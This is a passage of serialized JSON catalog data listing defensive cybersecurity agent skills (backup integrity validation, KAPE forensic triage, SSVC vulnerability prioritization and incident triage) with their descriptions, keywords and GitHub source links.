tampering.","https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Fvalidating-backup-integrity-for-recovery\u002FSKILL.md",[155,158],{"categoryNo":156,"categoryName":157,"taxonomyType":21,"taxonomyTypeDesc":22},"01JBSEEDCAT000000000000008","测试与质量",{"categoryNo":19,"categoryName":20,"taxonomyType":21,"taxonomyTypeDesc":22},[143,160,161,162,163,27,164,165,137,166,167,168,169,170,171,172,173,174,175,176],"backup","recovery","validating backup integrity for recovery","testing","infrastructure","validation","compliance","hash-verification","incident-response","ransomware","cryptocurrency","detection","t1078","t1490","immutable","disaster-recovery","restore-testing",{"skillNo":178,"name":179,"nameZh":6,"description":180,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":181,"categories":182,"keywords":184,"publishedAt":37},"01M6AGD9GBG2KZ336AE763J3WH","triaging-windows-with-kape","Runs KAPE (Kroll Artifact Parser and Extractor) to collect targeted forensic artifacts (registry hives, $MFT, event logs, prefetch, browser data) via Targets and parse them with Modules wrapping Eric Zimmerman's EZ Tools (PECmd, MFTECmd, RECmd). Use during early incident containment\u002Ftriage when full disk imaging is impractical but a defensible, parseable Windows artifact set is needed quickly, including at-scale remote collection.","https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Ftriaging-windows-with-kape\u002FSKILL.md",[183],{"categoryNo":19,"categoryName":20,"taxonomyType":21,"taxonomyTypeDesc":22},[185,186,187,27,188,189,190,191,192,193,194,195,196,197,198,199,140,200,201,202],"windows","kape","triaging windows with kape","registry","browser","logs","windows-forensics","dfir","mft","mftecmd","data","prefetch","eric-zimmerman","digital-forensics","SET","collection","pecmd","artifact-collection",{"skillNo":204,"name":205,"nameZh":6,"description":206,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":207,"categories":208,"keywords":210,"publishedAt":37},"01M6AGD5PW5J4EVZM958WD74ZQ","triaging-vulnerabilities-with-ssvc-framework","Triages and prioritizes vulnerabilities with CISA's Stakeholder-Specific Vulnerability Categorization (SSVC) decision tree, weighing exploitation status (via the CISA KEV catalog and FIRST EPSS API), technical impact, automatability, and mission prevalence to output Track\u002FTrack*\u002FAttend\u002FAct decisions. Use when prioritizing vulnerability scan results (OpenVAS, Nessus, Qualys) for remediation planning beyond raw CVSS scores.","https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Ftriaging-vulnerabilities-with-ssvc-framework\u002FSKILL.md",[209],{"categoryNo":19,"categoryName":20,"taxonomyType":21,"taxonomyTypeDesc":22},[211,212,213,27,214,215,216,217,218,219,220,221,222,223,224,225,226,227,228,229],"vulnerabilities","framework","triaging vulnerabilities with ssvc framework","status","planning","CISA","vulnerability-management","risk-management","nessus","qualys","openvas","cvss","remediation","risk","vulnerability","api","prioritization","ssvc","decision-tree",{"skillNo":231,"name":232,"nameZh":6,"description":233,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":234,"categories":235,"keywords":237,"publishedAt":37},"01M6AGD24TTQQM4CXG69E3B9TJ","triaging-security-incident","Performs initial triage of security incidents using the NIST SP 800-61r3 and SANS PICERL frameworks, classifying incident type, assigning priority by business impact, and routing to the appropriate response team. Use when a SIEM\u002FEDR alert needs human classification, concurrent alerts must be prioritized, or a user report or threat-intel IOC match requires initial incident categorization.","https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Ftriaging-security-incident\u002FSKILL.md",[236],{"categoryNo":19,"categoryName":20,"taxonomyType":21,"taxonomyTypeDesc":22},[25,238,27,239,240,241,242,243,244,245,246,172,247,173,248,249,250,251,252,253],"triaging security incident","siem","file","ioc","soc","NIST-800-61","NIST","severity","edr","execution","analysis","classification","severity-classification","incident-triage","SANS-PICERL","SOC-operations"]